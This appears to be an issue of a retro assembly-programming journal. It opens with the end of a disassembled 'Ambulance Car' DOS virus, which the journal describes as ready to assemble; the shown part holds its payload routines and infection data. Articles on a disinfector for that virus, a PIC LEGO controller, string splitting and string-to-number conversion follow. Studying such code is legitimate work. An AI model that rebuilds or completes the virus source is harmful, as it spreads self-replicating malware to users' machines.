; Text mode 3 (80x25) - video buffer address = 0B800h
; Text mode 7 (80x25) - video buffer address = 0B000h
push ds
mov di, 0B800h
mov ax, BDA_addr
mov ds, ax
mov al, ds:BDA_video_mode
cmp al, 7 ; Check which video mode we're
jne setup_video_n_tune ; on, if not Monochrome text
mov di, 0B000h ; mode 7, assume mode 3
setup_video_n_tune:
mov es, di
pop ds
mov bp, 0FFF0h ; Setup number of tones to play
; (will increment up to 50h)
setup_animation:
mov dx, 0 ; Setup ambulance_data column
mov cx, 16 ; Number of characters that make
; up one ambulance_data line
do_ambulance:
call show_ambulance ; Print the ambulance to screen
inc dx
loop do_ambulance
call play_siren ; Play a tone of the 'siren'
call wait_tick ; and wait for a tick
inc bp
cmp bp, 50h ; Already played the 'ambulance
jne setup_animation ; siren' tune 12 times?
call speaker_off ; If yes, then turn speaker off
push ds
pop es
retn
show_payload endp
; Turn the PC speaker off
;------------------------
speaker_off proc near
; Turn off the speaker
;
; 8255 PPI - Programmable Peripheral Interface
; Port 61h, 8255 Port B output
;
; (see description below)
in al, 61h
and al, 11111100b ; Disable timer channel 2 and 'ungate'
out 61h, al ; its output to the speaker
retn
speaker_off endp
; Turn on the speaker and play the "ambulance siren" sound
;------------------------------------------------------------
play_siren proc near
; Select tone frequency to generate
;
; Tone frequency is selected by means of the 3rd least significant bit of BP:
;
; Bit(s) Description
; ------ -----------
; ... 3 2 1 0
; ... x 0 x x Play 1st tone frequency
; ... x 1 x x Play 2nd tone frequency
;
; If we consider A to be the 1st tone and B to be the 2nd tone then the whole
; 'ambulance siren' tune will be: (AAAABBBB) x 12
mov dx, 07D0h ; "ambulance siren" 1st tone frequency
test bp, 00000100b ; Check if we are to play
jz speaker_on ; the first or the second
; tone frequency
mov dx, 0BB8h ; "ambulance siren" 2nd tone frequency
; Turn on the speaker
;
; 8255 PPI - Programmable Peripheral Interface
; Port 61h, 8255 Port B output
;
; Bit(s) Description
; ------ -----------
; 7 6 5 4 3 2 1 0
; . . . . . . . 1 Timer 2 gate to speaker enable
; . . . . . . 1 . Speaker data enable
; x x x x x x . . Other non-concerning fields
speaker_on:
in al, 61h
test al, 00000011b ; If speaker is already on, then go and
jnz play_tone ; play the sound tone
or al, 00000011b ; Else, enable timer channel 2 and
out 61h, al ; 'gate' its output to the speaker
; Program the PIT
;
; 8253 PIT - Programmable Interval Timer
; Port 43h, 8253 Mode Control Register
;
; Bit(s) Description
; ------ -----------
; 7 6 5 4 3 2 1 0
; . . . . . . . 0 16 binary counter
; . . . . 0 1 1 . Mode 3, square wave generator
; . . 1 1 . . . . Read/Write LSB, followed by write of MSB
; 1 0 . . . . . . Select counter (channel) 2
mov al, 10110110b ; Set 8253 command register
out 43h, al ; for mode 3, channel 2, etc
; Generate a tone from the speaker
;
; 8253 PIT - Programmable Interval Timer
; Port 42h, 8253 Counter 2 Cassette and Speaker Functions
play_tone:
mov ax, dx
out 42h, al ; Send LSB (Least Significant Byte)
mov al, ah
out 42h, al ; Send MSB (Most Significant Byte)
retn
play_siren endp
; Show the 'ambulance car'
;-------------------------
show_ambulance proc near
push cx
push dx
lea bx, [si+ambulance_data-4]
add bx, dx ; Setup which ambulance_data column
; were going to print
add dx, bp ; Don't show the ambulance_data columns
or dx, dx ; which aren't still visible
js ambulance_done
cmp dx, 50h ; Check if the column we're printing is
jae ambulance_done ; past the screen limit
; If yes, then the don't print it
mov di, 3200 ; Point to beginning of screen's 64th
; line
add di, dx ; Point to the column we're supposed to
add di, dx ; be printing at
sub dx, bp ; Restore to initial column value
mov cx, 5 ; Set it up so we're in the first line
decode_character:
mov ah, 7 ; Set color attribute to white
; Decode the character
;
; It's really pretty ingenius, each character is encoded in a way, so that for
; each line beyond the first one that character is incremented by one and for
; each column beyond the first the same thing happens. So taken that into
; account it's not difficult to understand how it all works and how to decode
; the ambulance_data
mov al, [bx] ; Get the character
sub al, 7
add al, cl ; Account for which line we're in
sub al, dl ; Account for which column we're in
cmp cx, 5 ; Are we in the first line?
jne print_character ; If we are, then...
mov ah, 15 ; Set color attribute to high-intensity
; white
test bp, 00000011b ; Is this the ending tone of a AAAA or
; BBBB tune sequence?
jz print_character ; If not, then go ahead and print the
; 'siren' characters
mov al, ' ' ; Else, replace them with a ' ' (to
; accomplish the visual 'siren' effect
print_character:
stosw ; Print the character to screen
add bx, 16 ; Point to next ambulance_data line
add di, 158 ; Point to next screen line
loop decode_character
ambulance_done:
pop dx
pop cx
retn
show_ambulance endp
; Wait for one tick (18.2 per second) to pass
;--------------------------------------------
wait_tick proc near
push ds
mov ax, BDA_addr
mov ds, ax
mov ax, ds:BDA_timer_counter ; Get ticks since midnight
check_timer:
cmp ax, ds:BDA_timer_counter ; Check if one tick has
je check_timer ; already passed
pop ds
retn
wait_tick endp
;--- Data from here below
ambulance_data:
first_line db 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 66h, 87h, 3Bh
db 2Dh, 2Eh, 2Fh, 30h, 31h
second_line db 23h, 0E0h, 0E1h, 0E2h, 0E3h, 0E4h, 0E5h, 0E6h, 0E7h
db 0E7h, 0E9h, 0EAh, 0EBh, 30h, 31h, 32h
third_line db 24h, 0E0h, 0E1h, 0E2h, 0E3h, 0E8h, 2Ah, 0EAh, 0E7h
db 0E8h, 0E9h, 2Fh, 30h, 6Dh, 32h, 33h
fourth_line db 25h, 0E1h, 0E2h, 0E3h, 0E4h, 0E5h, 0E7h, 0E7h, 0E8h
db 0E9h, 0EAh, 0EBh, 0ECh, 0EDh, 0EEh, 0EFh
fifth_line db 26h, 0E6h, 0E7h, 29h, 59h, 5Ah, 2Ch, 0ECh, 0EDh, 0EEh
db 0EFh, 0F0h, 32h, 62h, 34h, 0F4h
; Here's how the ambulance looks - see under DOS (box):
;
; \|/
; MMMMMMMMMM
; MMMM MMMM \
; MMMMMMMMMMMMMM
; MM OO MMMMM O
counter dw 9
jump_code:
near_jump db 0E9h
relative_offset db 36h, 00h
first_3bytes db 3 dup (?)
file_handle dw ?
virus_body:
original_3bytes db 0CDh, 20h ; 'int 20h' opcode
db 90h ; 'nop' opcode
;--- Stuff that gets saved along with the virus ends here
six_bytes db 6 dup (?)
filename_ptr dw ?
DTA_seg dw ?
DTA_off dw ?
file_mask:
filename:
pathname db 6 dup (?)
db 7 dup (?)
db 67 dup (?)
new_DTA:
reserv db 21 dup (?)
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
f_name db 13 dup (?)
filler db 85 dup (?)
_TEXT ends
end ambulance_car
---------------------------------------------------------------------------8<--
Special Thanks
--------------
I would like to thank Cicatrix for sending me his collection of 'Ambulance Car'
strains, so that I would have more than two variants to study and compare.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
'Ambulance Car' Disinfector
by Chili
Since I provided a ready-to-be-assembled virus in the "'Ambulance Car'
Disassembly" article, I decided to also write a bonus article with a basic
disinfector for it. Please note that this disinfector doesn't locate and clean
all existing 'Ambulance Car' strains, though it does work on more than half of
the strains I have (thanks Cicatrix). It is only intended to work with the
strain I provided, so no assurances are given as to whether it will do the job
or not with other strains (it also works with the 'RedXAny' strain look-alike
and with the tamed version that only displays the payload - this tamed version
really isn't a virus since it doesn't replicate and so F-PROT won't report it;
the disinfector does report and clean it though).
An infected file can easily be cleaned by hand, so you should try that first.
The disinfector will scan all .COM files in the current directory for three
things: 1. the '0E9h' near jump code (other strains may have the '0EBh' jump
code - this won't detect them!); 2. the delta offset calculation routine
pointed to by the near jump; 3. the ambulance data at the end of the virus (if
you change this into something else the disinfector will report this file as
suspicious). Upon a suspicious or infected file report the user will be given a
chance to clean it or continue on to the next file.
And here is the disinfector:
[NOTE: F-PROT will report this as a new or modified variant of SillyC - go
figure!]
--8<---------------------------------------------------------------------------
; 'Ambulance Car' Disinfector
; KILLREDX by Chili for APJ #6
; Assemble with (TASM 4.1):
; tasm /ml /m2 killredx.asm
; tlink /t killredx.obj
LF equ 0Ah ; 'Line Feed' ASCII code
CR equ 0Dh ; 'Carriage Return' ASCII code
_TEXT segment word public 'code'
assume cs:_TEXT, ds:_TEXT, es:_TEXT, ss:_TEXT
org 100h
killredx proc far
;--- Print program identification message
lea si, killredx_msg
call print_ASCIIZ
;--- Find first .COM file
lea dx, com_mask
xor cx, cx
mov ah, 4Eh
int 21h
jnc open_file
jmp exit
open_file:
;--- Print found file's name
lea si, newline_msg
call print_ASCIIZ
mov si, 9Eh
call print_ASCIIZ
;--- Open found file
mov dx, 9Eh
mov ax, 3D02h
int 21h
jnc read_jump
;--- Print open error message
lea si, open_msg
call print_ASCIIZ
jmp find_next
read_jump:
;--- Read jump code
xchg ax, bx
mov cx, 3
lea dx, jump_code
mov ah, 3Fh
int 21h
jc read_error
cmp ax, cx
je check_jump
jmp close_file
check_jump:
;--- Compare with known virus' jump code
cmp byte ptr [jump_code], 0E9h
je read_displacement
jmp close_file
read_displacement:
;--- Move file pointer to jump offset
mov dx, word ptr [jump_code+1]
add dx, 3
xor cx, cx
mov ax, 4200h
int 21h
;--- Read displacement calculation code
mov cx, 7
lea dx, displace_code
mov ah, 3Fh
int 21h
jc read_error
cmp ax, cx
je check_displacement
jmp close_file
check_displacement:
;--- Compare with known virus' displacement calculation code
cmp word ptr [displace_code], 01E8h
jne exit_check
cmp word ptr [displace_code+2], 0100h
jne exit_check
cmp word ptr [displace_code+4], 815Eh
jne exit_check
cmp byte ptr [displace_code+6], 0EEh
jne exit_check
jmp read_data
exit_check:
jmp close_file
read_data:
;--- Move file pointer to supposed data location
mov cx, 0FFFFh
mov dx, 0FFF1h
mov ax, 4202h
int 21h
;--- Read ambulance data
mov cx, 2
lea dx, ambulance_data
mov ah, 3Fh
int 21h
jc read_error
cmp ax, cx
je check_data
jmp close_file
read_error:
;--- Print read error message
lea si, read_msg
call print_ASCIIZ
jmp close_file
check_data:
;--- Compare with know virus' ambulance data
cmp word ptr [ambulance_data], 0F434h
jne suspicious
;--- Print file infected or suspicious message
lea si, infected_msg
jmp askto_clean
suspicious:
lea si, suspicious_msg
askto_clean:
;--- Print and read answer to whether clean file or not
call print_ASCIIZ
mov ah, 08h
int 21h
cmp al, 'y'
je clean_file
cmp al, 'Y'
je clean_file
jmp close_file
clean_file:
;--- Move file pointer to supposed original bytes location
mov cx, 0FFFFh
mov dx, 0FFFDh
mov ax, 4202h
int 21h
;--- Read host's original (first 3) bytes
mov cx, 3
lea dx, original_bytes
mov ah, 3Fh
int 21h
jc read_error
cmp ax, cx
je write_original
jmp close_file
write_original:
;--- Move file pointer to beginning of file
xor cx, cx
xor dx, dx
mov ax, 4200h
int 21h
;--- Write original bytes
mov cx, 3
lea dx, original_bytes
mov ah, 40h
int 21h
jc write_error
cmp ax, cx
je truncate_file
write_error:
;--- Print write error message
lea si, write_msg
call print_ASCIIZ
jmp close_file
truncate_file:
;--- Move file pointer to virus' jump offset (real virus start)
mov dx, word ptr [jump_code+1]
add dx, 3
xor cx, cx
mov ax, 4200h
int 21h
;--- Truncate file
mov cx, 0
mov ah, 40h
int 21h
jc write_error
cmp ax, cx
jne write_error
lea si, disinfected_msg
call print_ASCIIZ
close_file:
;--- Close file
mov ah, 3Eh
int 21h
find_next:
;--- Find next matching file
mov ah, 4Fh
int 21h
jc exit
jmp open_file
exit:
;--- Exit to DOS
lea si, newline_msg
call print_ASCIIZ
retn
killredx endp
print_ASCIIZ proc near
;--- Print an ASCIIZ string
lodsb
cmp al, 0
je end_ASCIIZ
xchg al, dl
mov ah, 02h
int 21h
jmp print_ASCIIZ
end_ASCIIZ:
retn
print_ASCIIZ endp
killredx_msg db "'Ambulance Car' Disinfector", LF, CR
db "KILLREDX by Chili for APJ #6", LF, CR, 0
newline_msg db LF, CR, 0
infected_msg db " Infected. Clean [y/n]?", 0
suspicious_msg db " Suspicious. Attempt to clean (WARNING: file may "
db "be corrupted if infected by an unknown/unsupported "
db "strain of Ambulance Car) [y/n]?", 0
disinfected_msg db LF, CR, " Disinfected.", 0
open_msg db LF, CR, " [ERROR: opening file]", 0
read_msg db LF, CR, " [ERROR: reading from file]", 0
write_msg db LF, CR, " [ERROR: writing to file]", 0
com_mask db "*.COM", 0
jump_code db 3 dup (?)
displace_code db 7 dup (?)
ambulance_data dw ?
original_bytes db 3 dup (?)
_TEXT ends
end killredx
---------------------------------------------------------------------------8<--
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Assembling for PIC's
Jan Verhoeven
Below is a piece of assembly language for the MicroChip PIC processor. This
particular program will flash some LED's and activate some relays based on the
status of some control-inputs. The target MCU was the PIC 16C54, one of the
most simple chips in that range.
To give some indication of what we're upto:
RAM 25 bytes
ROM 512 words (of 12 bits each)
I/O 12 bits
Clockspeed 8 kHz (this project, max = 4 MHz)
Instructions 33
On-Chip-Stack 2 levels
Compare this to a modern PC clone....
RISC and Harvard architecture.
------------------------------
The PIC line of MCU's are RISC chips, so they use the Harvard architecture,
and one of the results is that they have different code- and data-memories.
Higher PIC's have more features, like INTerrupt sources on 4 or more pins,
internal interrupts etcetera. All models have a watchdogtimer (WDT) which
needs to be reset regularly (if enabled) else the MCU will reset itself.
The PIC registers.
------------------
The register architecture of the PIC is somewhat odd to Intel programmer's but
programming resembles that of the Hewlett Packard HP 11 range of calculators.
Here is an overview of the registerset. Microchip refers to this as the
"register file".
file address name comment
------------ -------------- --------------------
00 indirect calls not a real register!
01 RTCC timer counter
02 PC (or IP) lower 8 bits of it
03 STATUS flags register
04 FSR bank select of PIC 16C57
05 Port A has 4 I/O lines
06 Port B has 8 I/O lines
07 Port C 8 I/O, only 16C55 and 16C57
GP register on 'C54 and 'C56
08 GP register General purpose register
.. .. ..
1F GP register General purpose register
Besides these "transparant registers" there are also some hidden registers
(which also are write only...) for processor control. These are:
TRISA The "tristate A/B/C" registers determine the status
TRISB of each pin of the I/O ports.
TRISC A "1" makes it "input" and a "0" makes it an output.
OPTION is for controlling the WDT and the RTCC
And there's the ubiquitous "W" register. This is the "Working register" and is
used to haul data back and forth. PIC registers (or "files") cannot process
constants (or "literals"). This can only be done with the W-file. It takes
some getting used to, but the concept is simple and straightforward and
eventually you will get used to it and learn to appreciate it.
>From that moment on, you will only have to get used to the fact that data is
nbot always ending up where you would like to have it. All instructions
between W and F (any register or file) end with a "d" option. If "d" is a "1",
the destination is the file F, if "d" is "0", the result will be stored in the
W file...
This took me some time to get used to and still is the main source of errors.
Apart from having selected the wrong osciallator and not disabling the WDT....
The PIC instructions.
---------------------
The instructions for the PIC 16C54 are as follows:
mnemonic description
---------------- -----------------------------------------
ADDWF F, d d := W + F
ANDLW k W := W AND k
ANDWF F, d d := W AND F
BCF F, b bit b in F is cleared (i.e. made zero)
BSF F, b bit b in F is set (i.e. made one)
BTFSC F, b if bit b in F is CLEAR, skip next instruction
BTFSS F, b if bit b in F is SET, skip next instruction
CALL k push PC, PC := k
CLRF F Clear file F
CLRW Clear file W
CLRWDT Clear Watchdogtimer
COMF F F := NOT F (1's complement)
DECF F, d d := F - 1
DECFSZ F, d d := F - 1; If 0 => skip next instruction
GOTO k PC = k
INCF F, d d := F + 1
INCFSZ F, d d := F + 1; If 0 => skip next instruction
IORLW k W := W OR k
IORWF F, d d := W OR F
MOVF F, d d := F (zero flag affected)
MOVLW k W := k
MOVWF F F := W
NOP No operation
OPTION OPTION := W
RETLW k W := k, pop PC
RLF F, d d := rotate left through carry (F)
RRF F, d d := rotate right through carry (F)
SLEEP enter powerdown mode
SUBWF F, d d := F - W (2's complement)
SWAPF F, d d := swap-nibbles (F)
TRIS F TRIState information for I/O pins
XORLW k W := W XOR k
XORWF F, d d := W XOR F
Especially the "F, d" construct takes some getting used to.
Below is the source for the "LEGO controller":
--------------------------------------------------------------------------
title "LEGO 003"
subtitl "control LEGO technic devices"
LIST P=16C54, R=HEX, F=INHX8M, C=120, E=0, N=80
PIC54 equ 1FFH ; Define Reset Vectors
RTCC equ 1h ; define register designators
PC equ 2h ; the program counter is a register as well
STATUS equ 3h ; F3 Reg is STATUS Reg.
PORT_A equ 5h
PORT_B equ 6h ; I/O Port Assignments
RTCC_tc equ 0Dh ; time constant for RTCC
count_1 equ 0Eh ; delay counters and GP registers
count_2 equ 0Fh
file equ 1
w equ 0
flag_0 equ 0 ; input bits in RA port
flag_1 equ 1
flag_2 equ 2
flag_3 equ 3
LED_0 equ 0 ; status led 1, in RB Port
LED_1 equ 1 ; status led 2
RL_1 equ 2 ; relays 1 - 3
RL_2 equ 3
RL_3 equ 4
s_clk equ 5 ; s_clk input
s_data equ 6 ; s_data input
go equ 7
delay movlw .100 ; mov W with 100 decimal
movwf count_1 ; xfer W to register
dela_1 clrf count_2 ; count_2 = 0
dela_2 decfsz count_2, file ; count_2 = count_2 - 1
goto dela_2 ; skip this instruction if count_2 = 0, ...
decfsz count_1, file ; ... ending here: count_1 = count_1 - 1
goto dela_1 ; skip this instruction when count_1 = 0
retlw 0 ; ending here, if so.
flash bcf PORT_B, LED_1 ; flash LED's 0 and 1 as an acknowledgement
bsf PORT_B, LED_0 ; activate the LED's.
call delay ; wait a while
bcf PORT_B, LED_0 ; toggle the LED's
bsf PORT_B, LED_1
call delay ; wait a second!
bcf PORT_B, LED_1 ; turn LED_1 off as well.
retlw 0 ; return to caller with W = 0
RT_chk clrwdt ; clear the watchdog timer
btfsc RTCC, 7 ; RELAY_3 follows bit7 of RTCC
bcf PORT_B, RL_3
btfss RTCC, 7
bsf PORT_B, RL_3
movf RTCC, w
skpz ; internal macro for BTFSS STATUS, 2
retlw 0
movf RTCC_tc, w ; if
movwf RTCC
retlw 0
start clrf RTCC
clrf RTCC_tc ; clear RTCC and RTCC time constant
movlw B'00001111'
tris PORT_A ; define port A as inputs
movlw B'11100000'
tris PORT_B ; define port B as I/O
movlw B'00110111'
option ; define state of WDT, RTCC and prescaler
movlw B'00011100'
movwf PORT_B ; initialize port B
call flash ; signal READY
call flash
btfss PORT_B, s_clk ; if s_clkline low, check for mode 2 request
goto m_chk
repeat clrwdt ; clear watchdog timer
call flash
movf PORT_A, w ; read port A into W
andlw 3 ; mask off sensor inputs
skpnz ; skip next instruction if NonZero
goto set_tc ; flag_0 and _1 zero => define RTCC time constant
btfsc PORT_A, flag_0
goto t_left
btfsc PORT_A, flag_1
goto t_right
movf PORT_B, w
andlw s_clk + s_data + go
skpnz ; if no RESET condition, skip
goto start
call RT_chk
goto repeat
t_left btfsc PORT_A, flag_2 ; if in end position, do not turn at all
goto l_exit
bcf PORT_B, RL_1 ; else set direction for Turn Left
bsf PORT_B, RL_2
bsf PORT_B, LED_0 ; show direction with LED's
bcf PORT_B, LED_1
chk_fl2 btfsc PORT_A, flag_2 ; wait until home-position is reached
goto l_exit ; if so, get out
call RT_chk ; if not, check again
goto chk_fl2 ; until done
l_exit bsf PORT_B, RL_1 ; release relay 1
bcf PORT_B, LED_0 ; extinguish light 0
goto repeat ; jump back
t_right btfsc PORT_A, flag_3 ; if in end position, do not turn at all
goto r_exit
bcf PORT_B, RL_2 ; else set direction for Turn Right
bsf PORT_B, RL_1
bsf PORT_B, LED_1 ; show direction with LED's
bcf PORT_B, LED_0
chk_fl3 btfsc PORT_A, flag_3 ; wait until home position reached
goto r_exit
call RT_chk
goto chk_fl3
r_exit bsf PORT_B, RL_2 ; deactivate lights and relays
bcf PORT_B, LED_1
goto repeat
m_chk clrf count_1 ; check inputs and make sure there's no glitch
clrf count_2
m_chk_1 btfss PORT_B, s_clk
decf count_1, file ; count pulses s_clkline = low
decfsz count_2, file
goto m_chk_1
movf count_1, w ; w = low-pulses
subwf count_2, w ; if count_1 <> count_2, glitch occurred
skpz
goto start
set_tc movf RTCC, w ; move current value of RTCC
movwf RTCC_tc ; to time constant register
goto repeat
org PIC54 ; goto highest word in code space
goto start ; and place the reset vector.
end
--------------------------------------------------------------------------
If you ever programmed an HP 11 (or 12, 15 or 16) calculator, the conditional
jumps may ring a bell. I don't know how the HP machines handle these jumps,
but the PIC line does the following:
condition action by PIC
--------- -----------------------------------
FALSE execute next instruction
TRUE replace next instruction with a NOP
This enables the programmer to make 100% accurate timingloops since there is
no difference between a FALSE and a TRUE condition.
The size of this piece of code is easy to calculate: each line with an
mnemonic is one instructionword. This makes 115 words from the 512 word
program memoryspace, so we have nearly 400 instructionwords wasted.
The PIC's are marvelous chips to bridge the gap between lots and lots of TTL
chips and the overkill of a microcontroller unit with separate RAM, ROM and
I/O. If you want to find out more of this kind of CPU's, visit the website at
http://www.microchip.com
for PDF datasheets and more. Scenix also has a range of clones out, right now.
They are software compatible but offer more hardware features. Which is not
difficult since the codeword in the design of the PIC's seemed to have been
KISS.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Splitting Strings
by mammon_
Those familiar with Perl will undoubtedly have used its split() function, which
takes a single string and splits it into multiple strings or into an array,
based on a delimiter character specified in the call. Typical invocations of
split() would be:
($field1, $field2, $junk) = split(':', $line);
@array = split(' ', $line);
In the first line, the source string is split into a maximum of 3 substrings,
creating a new string each time it encounters a colon character; note that the
third string, $junk, contains the entire rest of the string -- only the first 2
colons will be parsed. In the second line, an array of strings is created by
splitting the source string at the space character; since the number of destin-
ation strings is not specified, the array will contain one element for each
substring [read: each string created by splitting the original at a whitespace
character].
Strings and string parsing are notably tedious in assembly. Once learning Perl,
I found that the pseudocode for many of my asm programs started to include a
few calls to 'split', since it is a handy one-line method of string parsing,
applicable to processing command lines, user input, and data files. As a result,
it quickly became necessary to write such a routine.
Being that asm has no inherent array or string tokenizing support, there are
many possible approaches to string splitting. Since the most immediate problem
is that the split() routine does not know in advance how many substrings it
will be creating, there is a temptation to code a strtok() replacement, such
that the first call returns the first substring, and subsequent calls each
return the next substring until the end of the string has been reached:
mov ecx, ptrArray
push dword ptrString
push dword [delimiter]
call split
mov [ecx], eax
.loop:
call split
cmp eax, 0
je .end
mov [ecx], eax
add ecx, 4
jmp .loop
.end:
This allows for control over the number of substrings created by only calling
split() the desired number of times; however this method also requires a lot
of caller-side work --setting up an array, moving the string pointer returned
in eax to an appropriate array position, and keeping track of the number of
array elements. It is also noticeably more clumsy than the Perl version.
Another method would be to mimic the Perl function entirely, and have split()
return an array of substrings:
push dword ptrString
push dword [delimiter]
call split
mov [ptrStringArray], eax
This is obviously more elegant on the caller side, but it has a few subtle
problems: first, the control over how many elements is split is lost;
secondly, the array is of indefinite element size [i.e., one would have to
scan each string again in order to find the end and thus the next string];
and lastly, the duplication of the string in memory is somewhat of a waste.
The C language has more or less created a string standard in which strings are
terminated with a null ['\0' or 0x0] character. Most library or OS functions
to which the split strings will be passed tend to expect this termination; thus
each substring is going to have a termination byte added. However, this termin-
ation byte can replace the delimiter for each substring, thus allowing the
original string itself to serve as the array of substrings after the split
function. Thus, all that is required from the split function is to return an
array of dword pointers into the original string, and a count of the array
elements [substrings]:
push dword ptrString
push dword [delimiter]
call split
mov [ptrStringArray], eax
mov [StringArrayNum], ebx
The split function will have to create a DWORD element for each substring
it splits; while this is somewhat wasteful, it is still less expensive than
copying the entire string a second time, unless the string is composed of
1-3 byte substrings. In order to control the number of splits, a 'max_split'
parameter will have to be added to the split() routine, such that if max_split
is NULL, the split() routine will return the maximum possible number of
substrings; if max_split is non-NULL, split() will return max_split or fewer
substrings.
The complete split routine is as follows:
#--------------------------------------------------------------------split.asm
; split( char, string, max_split)
; Returns address of array of pointers into original string in eax
; Returns number of array elements in ebx
; Behavior:
; split( ":", "this:that:theother:null\0", NULL)
; "this\0that\0theother\0null\0"
; ptrArray[0] = [ptrArray+0] = "this\0"
; ptrArray[1] = [ptrArray+4] = "that\0"
; ptrArray[2] = [ptrArray+8] = "theother\0"
; ptrArray[3] = [ptrArray+C] = "null\0"
EXTERN malloc
EXTERN free
split:
push ebp
mov ebp, esp ;save stack pointer
mov ecx, [ebp + 8] ;max# of splits
mov edi, [ebp + 12] ;pointer to target string
mov ebx, [ebp + 16] ;splitchar
xor eax, eax ;zero out eax for later
mov edx, esp ;save current stack pos.
push dword edi ;save ptr to first substring
cmp ecx, 0 ;is #splits NULL?
jnz do_split ;--no, start splitting
mov ecx, 0xFFFF ;--yes, set to MAX
do_split:
mov bh, byte [edi] ;get byte from target string
cmp bl, bh ;equal to delimiter?
je .splitstr ;--yes, then split it
cmp al, bh ;end of string? [al == 0x0]
je EOS ;--yes, then leave split()
inc edi ;next char
loop do_split
.splitstr:
mov [edi], byte al ;replace split delimiter with "\0"
inc edi ;move to first char after delimiter
push edi ;save ptr to next substring
loop do_split ;loop #splits or till EOS
EOS:
mov ecx, edx ;edx, ecx == original stack position
sub ecx, esp ;get total size of pushed pointers
push ecx ;save size
call malloc ;allocate that much space for array
test eax, eax
jz .error
pop ecx ;restore size
mov edi, eax ;set destination to beginning of array
add edi, ecx ;move to end of array
shr ecx, 2 ;divide total size/4 [= # of dwords to move]
mov ebx, ecx ;save count
.store:
sub edi, 4 ;move to beginning of dword
pop dword [edi] ;pop from stack to array
loop .store
.error:
mov esp, ebp
pop ebp
ret ;eax = array[0], ebx = array count
#------------------------------------------------------------------------EOF
The use of the stack in this routine may be a little unclear. Each time a
delimiter is encountered, the a pointer to the character after the delimiter
is pushed onto the stack:
this:that:theother\0
^----------------------This is pushed at the very beginning.
Element#: array[0]
this:that:theother\0
^-----------------This is pushed when the first ':' is found.
Element#: array[1]
this\0that:theother\0
^-----------This is pushed when the second ':' is found
Element#: array[2]
this\0that\0theother\0
The stack now looks like this:
--------------[ebp]
ptr->string1
ptr->string2
ptr->string3
--------------[esp]
The string pointers are then POPed into the array, starting with array[2] and
ending with array[0].
Once the string is parsed and the pointers are PUSHed to the stack, edi is set
to the address of the array [mov edi, eax] and advanced to the end of the
allocated array [add edi, ecx]. The counter is then set to the number of DWORD
pointers that have been pushed onto the stack [shr ecx, 2]; for each DWORD
pointer, edi is withdrawn 4 bytes more from the end of the array [sub edi, 4]
and the pointer is POPed into that 4 byte space. In the last iteration of the
loop, edi is set to the beginning of the allocated array, and the first DWORD
pointer [ array[0] ] is POPed into the first array element.
To test this, of course, one needs a program to drive it. The following code
simulates an /etc/passwd read, splitting a hard-coded line into its component,
colon-delimited fields:
#----------------------------------------------------------------splittest.asm
BITS 32
GLOBAL main
EXTERN printf
EXTERN free
EXTERN exit
%include 'split.asm'
SECTION .text
main:
push dword szString ;print the original string
push dword szOutput
call printf
add esp, 8
push dword ":" ;split the original string
push dword szString
push dword 0
call split
add esp, 12
mov ecx, ebx
mov ebx, eax
printarray: ;print the substrings
push ecx ;printf hoses ecx!!!!!
push dword [ds:ebx]
push dword szOutput
call printf
add esp, 8
add ebx, 4 ;skip to next array element
pop ecx
loop printarray
push dword [ptrarray] ;free the array created by split
call free
add esp, 4
push dword 0 ;program is done
call exit
SECTION .data
szOutput db '%s',0Ah,0Dh,0 ;printf format string
szString db 'name:password:UID:GID:group:home',0 ;string to print
#------------------------------------------------------------------------EOF
This program was written using nasm on a glibc Linux platform; however the
split routine itself is fairly portable --the only assumed external routine
is malloc() and -- and can easily be rewritten for the DOS or win32 platforms.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
String to Numeric Conversion
by Laura Fairhead
Here I present you with a library routine that scans a value from
a string and converts it to an integer. It is very useful, not only
when you have to convert string->value but also if you are parsing and
want to recognise a numeric token.
The routine will scan values in any radix from 0 to 36. Characters
for the digit values from 10-35 are naturally "A"-"Z"/"a"-"z".
With this routine there are 2 API's 'scanur' and 'scanu'. 'scanur'
is used to set the radix of the scan conversion. Once this value is
set the main routine 'scanu' can be called freely to scan values from
the string.
The scan routine is called with a string pointer which is updated
on exit to the first invalid character. It will return with the carry
flag set if the value was too big to fit into the return register EAX.
If the carry flag is clear, there is no error, however now the zero flag
indicates if a valid value was actually scanned. This return status
convention gives the most flexibility to the application programmer,
also if a valid value MUST be scanned they can detect the condition
via:-
CALL NEAR PTR scanu
JNA error ;get out if overflow/no value
The branch will be taken if CF=1 or ZF=1. Hence, if a value has to be
scanned errors may be picked up with only one test.
=========START OF CODE=====================================================
;
;(current scan radix)
;
scanuradi:
DB ?
;
;scanur- set up for scanu routine
;
;entry: AL=radix
;
; !! radix must be in range 0<=radix<=36
;
; !! radix must be set by calling this routine prior to
; !! using scanu
;
;exit: (all registers preserved)
;
scanur PROC NEAR
MOV BYTE PTR CS:[scanuradi],AL
RET
scanur ENDP
;
;scanu- scan string value returning result
;
;entry: DS:SI=address of string
; DF=0
;
; !! radix must be set previously by calling 'scanur'
;
;exit: SI=updated to offset of first invalid character
;
; CF=1
; a numeric overflow has occurred, ie: the number being scanned
; has become too big to fit into EAX
;
; CF=0
; if ZF=0 then a valid value was scanned, if ZF=1 then no
; valid digits were scanned
;
; EAX=converted value
;
scanu PROC NEAR
;
;preserve registers
;
PUSH EDX
PUSH EBX
PUSH ECX
PUSH DI
;
;initialise
; EBX=radix constant
; EAX=total
; ECX=0, bits8-24 of ECX always=0 to pad byte digit to dword
; DI=holds original offset
;
XOR EAX,EAX
XOR EBX,EBX
XOR ECX,ECX
MOV DI,SI
MOV BL,BYTE PTR CS:[scanuradi]
;
;main loop start
; EAX,ECX change roles so that we can use AL for the digit calculation
; saving code length
;
lop: XCHG EAX,ECX
LODSB
;
;if "0"-"9" map to 0-9 and skip to radix check
;
SUB AL,030h
CMP AL,0Ah
JC SHORT ko
ADD AL,030h
;
;map "A"-"Z"-/"a"-"z"- to 10-35- aborting on the one invalid value (040h)
